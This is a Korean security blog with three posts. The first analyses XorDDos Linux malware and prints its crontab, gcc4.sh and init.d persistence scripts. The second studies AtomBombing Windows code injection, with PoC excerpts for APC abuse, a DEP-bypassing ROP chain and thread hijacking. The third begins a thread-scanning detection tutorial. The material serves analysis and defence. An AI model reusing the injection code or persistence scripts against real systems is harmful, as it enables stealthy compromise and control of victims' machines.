no image
XorDDos Analysis Report
개요기본적인 파일 정보는 아래와 같다. File Name : U******9 Diag Name : Linux/Xarceen.Gen Linux "file" 명령어를 통한 결과는 아래와 같다. 굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다. remnux@remnux:~/sample$ file U******9 UpTip999: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped 요약해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP ..
2018.04.08
no image
Atombombing 기법
OverviewAtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다. 전체적인 동작은 아래 흐름도와 같다. 1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode 를 Atom Table 에 추가 2. 대상 프로세스가 Atom Table 로부터 ShellCode 를 가지고 오게 하도록 APC 를 사용 3. APC 를 통해 조작된 대상 프로세스는 ShellCode 를 가지고 온 뒤 DEP 후회를 위한 ROP Chain 사용 대상 프로세스에 개입하기 위해 주로 사용하는 API 는 아래와 ..
2017.05.28
no image
Memory Detection(메모리 진단)
1. Introdution특정 악성코드 파일을 찾고자 할 때 우리가 사용할 수 있는 방법은 각 파일의 HASH 값을 비교한다거나 특정 바이너리가 그 파일에 포함되어 있는지 확인하는 등의 방법이 있다. 그렇다면 어떤 악성코드가 다른 정상적인 프로세스에 인젝션하여 동작하는 경우에는 어떻게 진단해야 할까? 파일로 존재하는 악성코드는 파일의 바이너리를 비교하여 쉽게 찾을 수가 있을 것이다. 하지만 파일의 형태가 아닌 프로세스로 메모리에 존재하는 경우는 위와 같은 방법으로 접근할 수 없을 것이다. 위 경우가 실제로 존재할까라고 생각할 수 있지만, 인젝션 방식을 사용하는 악성코드가 꽤 많이 존재한다. 물론 explorer.exe 나 notepa.exe 와 같이 특정 프로세스에만 인젝션 한다면 상대적으로 처리가 쉬워..
2016.09.26
no image
[Malware] MadAngel 악성코드 분석
1. 개요악성코드는 여러 분류로 나누어 볼 수가 있다. 이 중 일반 사용자의 입장에서 ‘악성코드’ 라는 단어보다 친숙한 ‘바이러스’ 가 있다. 사실 필자도 보안을 공부하기 이전에는 ‘악성코드’ 라는 단어는 아예 들어보지 못했고, 대신 ‘바이러스’ 라는 단어로 모든 악성코드를 지칭했었다. 바이러스는 악성코드 분류의 한 종류로 ‘스스로를 복제하여 악의적 목적을 수행하는 악성 소프트웨어(Wiki)’ 라는 의미를 가지고 있다. 컴퓨터 바이러스가 아닌 우리가 알고 있는 메르스(MERS)나 감기와 유사하다. 바이러스에 감염된 사람으로부터 다른 사람도 감염시키듯이, 컴퓨터 바이러스는 감염된 파일을 실행시키면 다른 파일을 감염시킨다.컴퓨터 바이러스는 동작 방식에 따라 차이가 있겠지만, 일반적으로 악의적인 코드를 파일에..
2016.09.20
no image
공인인증서 탈취 악성코드
개요랜섬웨어나 게임 계정, 금융 정보 탈취 등으로 인한 피해를 끊이지 않고 있다. 이런 악성코드를 제작하는 공격자의 목적은 결국 금전을 획득하는 것이다. 우리는 많은 매체들을 통해 이런 사건에 대한 피해 소식을 접할 수 있다. 랜섬웨어의 경우 악성코드에 감염되면 파일이 암호화가 되어 공격자에게 금액을 지불해야 한다. 하지만 사용자 PC 에서 금융 정보를 탈취할 때, 공격자는 사용자의 보안 카드 번호 등을 알 수 없으므로 이에 대해 사용자가 입력하도록 한다. 따라서 이번 보고서에서는 금융 정보 탈취 악성코드에 감염된 경우 어떠한 증상이 있는지 알아보자. 동작악성 프로세스가 실행되었더라도 사용자가 Internet Explorer 자체를 실행시키지 않을 수가 있다. 때문에 공격자는 사용자 PC 에서 악성코드를..
2016.08.06
[Malware] PETYA.exe 분석
2016.04.02
[Malware] DarkSeoul 분석 (3.20 전산마비)
2016.03.23
ClamAV & PEiD to Yara Rules
ClamAV to YaraYara 규칙을 생성하는 방법 중 하나가 바로 ClamAV를 이용하는 것이다. ClamAV는 리눅스계열의 Anti-Virus Freeware로, 악성코드를 탐지하는데 사용할 수 있다. Yara가 직접 규칙을 생성해야하는 것에 반해, ClamAV는 통합적인 DB를 통해 악성코드에 관한 DB를 가지고 있다. Yara는 이러한 DB를 통해 규칙을 생성할 수가 있으며, 따라서 이에 대하여 어떻게 진행해야 하는지 알아보자. 우선 실습을 위해 ClamAV를 설치해보자. 실습에 사용된 리눅스는 Ubuntu로 apt-get 명령어를 통해 쉽게 설치할 수 있다. 아래의 명령어를 통해 ClamAVㄹ르 설치하자.$ apt -get install clamavClamAV가 설치된 후 악성코드 정의를 업..
2016.03.11
개요

기본적인 파일 정보는 아래와 같다.

File Name : U******9
Diag Name : Linux/Xarceen.Gen

Linux "file" 명령어를 통한 결과는 아래와 같다.  굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다.
remnux@remnux:~/sample$ file U******9
UpTip999: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped


요약

해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP 주소를 얻어온다. 그 후 대량의 Packet 을 대상 주소로 전송하는 악성코드이다.





분석

자가 복사

해당 샘플의 경우 대상 환경에서의 지속성을 향상시키기 위하여 자기 자신을 복사한다. 복사되는 경로는 아래와 같다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /lib/libudev4.so



지속성 유지
추가적으로 악성 샘플을 다시 실행시키기 위해 '/etc/crontab' 파일을 변조한다. crontab 파일은 Windows 의 작업 스케쥴러와 같은 역할을 하며, 맨 마지막 줄의 내용이 추가된 것을 확인 할 수 있다. 해당 내용은 3분 마다 /etc/cron.hourly/gcc4.sh 를 실행하는 것이다.

remnux@remnux:~/test$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/3 * * * * root /etc/cron.hourly/gcc4.sh


gcc4.sh 는 상기에 설명한 바와 같이 복사한 자기 자신(/lib/libudev4.so) 을 libude4.so.6 라는 이름으로 복사 후 실행시키는 내용이다.

remnux@remnux:~/test$ cat /etc/cron.hourly/gcc4.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libudev4.so /lib/libudev4.so.6
/lib/libudev4.so.6


/etc/init.d 에도 Random 한 이름을 파일을 생성한다. 

remnux@remnux:~/test$ cat /etc/init.d/{random_filename}
#!/bin/sh
# chkconfig: 12345 90 90
# description:{random_filename}
### BEGIN INIT INFO
# Provides:{random_filename}
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: {random_filename}
### END INIT INFO
case $1 in
start)
/usr/bin/{random_filename}
;;
stop)
;;
*)
/usr/bin/{random_filename}
;;
esac


또한 "/etc/rc*.d" 경로 밑에 S90{random_filename} 의 형태로 위의 "/etc/init.d/{random_filename}" 을 가리키는 Link 파일을 생성한다. 여기서 rc*.d 폴더는 부팅 레벨에 따라, 각각의 부팅 레벨 폴더에 있는 파일들을 자동으로 실행하는 경로이다.



네트워크 (DDoS)

아래 주소를 DNS 요청으로 얻어오며, TCP Packet 과 UDP Packet 을 전송하는 것을 확인 할 수 있다. 해당 주소로부터 공격 대상에 대한 IP 주소를 받아온다.
  • 114.***.***.114 ; 중국의 네임 서버
  • 137.***.***.224 ; 원격지 주소 (공격 대상의 주소를 얻어옴)


원격지와의 통신을 통해 암호화 된 공격 대상의 IP 주소를 받아온다. 그 후 encrypt_code 부분을 통해 XOR 연산을 하여 해당 내용을 복호화 한다. 분석 당시ㅡ복호화 된 내용을 보면 0xc******8 로 IP 주소 104.***.***.203 을 가리키고 있다.


공격 대상의 주소를 가지고 온 뒤, 아래와 같이 대상 주소에 수 많은 패킷을 보낸다. 과도한 Packet 전송 동작 등을 보아 DDoS 공격 행위로 추정된다.


분석 당시ㅡ공격 대상이 되는 곳에 대해 조사한 결과, 아래와 같이 SharkTech 라는 곳을 알 수 있었다. 또한 대상은 DDoS 보호 서비스와 관련 된 사이트임을 알 수 있다.



기타
# 1
실행 시 자신을 Background 에서 실행되도록 한다.



#2
통신 중 지정 된 신호를 받을 경우 다운로드 동작을 수행 할 수 있다. 다운로드 주소는 공격자가 지정 할 수 있으며, 다운로드 완료 후 해당 파일을 실행한다.



#3
해당 샘플이 통신하는 dns.bbgbbg.top 의 경우 Whois 결과가 아래와 같다. 이는 whois guard 에 의해 보호된 주소임을 알 수 있다.

Domain Name: b****g.t*p
Registry Domain ID: D20160920G10001G_81549331-top
Registrar WHOIS Server: whois.namecheap.com
Updated Date: 2016-09-20T00:04:28Z
Creation Date: 2016-09-20T00:04:24Z
Registry Expiry Date: 2020-09-20T00:04:24Z
Registrar: Namecheap Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C20160920C_09331172-top
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code: 0
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registry Admin ID: C20160920C_09331173-top
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.


#4
지속적으로 랜덤한 문자열을 생성 후, "/lib/libudev4.so" 를 해당 이름으로 복사한다. 그리고 한번에 5개씩 해당 이름으로 프로세스를 생성한다.  하기의 동작은 반복적으로 이루어지기 때문에, 반복적으로 생성&소멸 된다.


이 때,  기존의 랜덤한 이름의 또 다른 자기 자신은 아래와 같이 삭제한다.



#5
프로세스의 도입부에서 아래의 문자열을 복호화한다.
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -an
top
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime

복호화 된 문자들은 아래와 같이 execve 명령을 통해 악성프로세스의 인자로 주어지게 된다.






대응 방안

프로세스 종료

동작 중인 프로세스에 대해 종료해야 한다. 종료하고자 하는 프로세스의 이름은 아래와 같은 형태이며, 동일한 이름을 가진 5개의 프로세스와, 자식-부모 관계를 갖고 있는 4개의 프로세스를 추가로 삭제해야 한다.
  • {random_10_chrar_filename}

파일 삭제
악성코드가 감염 환경에서의 지속성을 유지하기 위한 요소들을 제거해야 한다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /etc/rc*.d/S90{{random_filename}
  • /etc/init.d/{random_filename}
  • /etc/cron.hourly/gcc4.sh


고려 사항

  • 잔여 프로세스가 계속 실행되고 있음ㅡ아마 잔여프로세스가 새로운 이름으로 원본 파일을 실행할 것으로 추정
  • crontab 에 의해 3분마다 다시 프로세스 실행
  • 이와 같은 경우 Windows 라면 메모리 진단 및 치료를 수행, 하지만 수동 치료의 경우에는?


Atombombing 기법

Kail-KM
|2017. 5. 28. 09:56

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26

1.  Introdution

특정 악성코드 파일을 찾고자 할 때 우리가 사용할 수 있는 방법은 각 파일의 HASH 값을 비교한다거나 특정 바이너리가 그 파일에 포함되어 있는지 확인하는 등의 방법이 있다. 그렇다면 어떤 악성코드가 다른 정상적인 프로세스에 인젝션하여 동작하는 경우에는 어떻게 진단해야 할까? 파일로 존재하는 악성코드는 파일의 바이너리를 비교하여 쉽게 찾을 수가 있을 것이다. 하지만 파일의 형태가 아닌 프로세스로 메모리에 존재하는 경우는 위와 같은 방법으로 접근할 수 없을 것이다.

위 경우가 실제로 존재할까라고 생각할 수 있지만, 인젝션 방식을 사용하는 악성코드가 꽤 많이 존재한다. 물론 explorer.exe notepa.exe 와 같이 특정 프로세스에만 인젝션 한다면 상대적으로 처리가 쉬워질 것이다. 하지만 특정 프로세스가 아닌 임의의 프로세스에 인젝션 한다면 매우 번거로워질 것이다. 일반적인 사용자의 PC 에서 평소에 돌고 있는 프로세스의 수는 결코 적지 않을뿐더러 각 프로세스가 하나 이상의 스레드를 가진다는 점을 생각하면 문제는 더 복잡해진다. 따라서 이번 문서에서는 이러한 문제를 해결하기 위한 코드를 제작해보려 한다.


2. Body

이번 문서에서의 주 목적은 특정 코드를 가진 스레드를 찾는 것이다. 그러므로 파일을 탐색할 때 FindFirstFile FindNextFile API 를 사용하듯이 스레드를 탐색하는 API 를 사용할 것이다. 윈도우 환경에서 시스템의 스레드를 열거하는 가장 편리한 방법은 바로 ToolHelp 라이브러리를 사용하는 것이다. 해당 라이브러리는 프로세스, 스레드, 모듈 열거와 관련된 라이브러리로 가장 중요한 함수는 바로 CreateToolhelp32Snapshot API 이다. 이 함수는 호출 시점에 시스템 정보에 대한 스냅샷을 만들어주는 역할을 한다. 여기서 dwFlags TH32CS_SNAPTHREAD 를 전달하면 시스템에서 실행되고 있는 스레드 스냅샷을 생성할 수 있다

1
2
3
HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
BOOL WINAPI Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
BOOL WINAPI Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
cs

스냅샷 핸들을 통해 스레드 탐색을 시작할 수 있다. Thread32First Thread32Next API 의 인자를 보면 스냅샷 핸들과 THREADENTRY32 형태의 인자를 받는 것을 확인할 수 있다. 해당 구조체는 아래와 같은 구조를 가진다. 구조체에는 스레드 ID 와 스레드가 속한 프로세스의 ID 값까지 존재하고 있는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
typedef struct tagTHREADENTRY32 {
    DWORD dwSize;
    DWORD cntUsage;
    DWORD th32ThreadID;
    DWORD th32OwnerProcessID;
    LONG  tpBasePri;
    LONG  tpDeltaPri;
    DWORD dwFlags;
} THREADENTRY32, *PTHREADENTRY32;
cs

지금까지의 과정을 코드로 나타내면 다음과 같다. 여기서 유의해야 할 점은 Thread32First API 를 호출하기 전에 THREADENTRY dwSize 를 초기화 해주어야 한다. 이를 초기화 해주지 않으면 Thread32First 함수는 실패하게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
THREADENTRY32 t32;
HANDLE hSnap;
 
/* Create a Snapshot Handle */
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
    return 0;
/* if you do not initialize THREADENTRY32.dwSize, Thread32First API fails */
t32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &t32))
{
    do
    { /* insert code what you want */
        …
    } while (Thread32Next(hSnap, &t32));
}
CloseHandle(hSnap);
 
cs

스레드의 목록과 스레드가 속한 프로세스의 ID 정보를 출력하는 프로그램을 구현할 수 있게 되었다. 하지만 우리는 특정 코드가 포함된 스레드를 찾는 것이 목표이므로 계속해서 알아보자. 다음으로 알아볼 것은 탐색한 스레드의 Start Address 이다. 일반적인 경우 Code Injection 을 수행할 때 VirtualAllocEx 를 통해 할당한 공간에 코드를 기록한 뒤, 이 할당된 공간의 주소를 스레드가 실행하도록 CreateRemoteThread 의 인자로 넘겨준다. 따라서 우리는 스레드의 시작 위치를 알아낸 후 그곳의 코드 및 바이너리를 비교하면 된다.

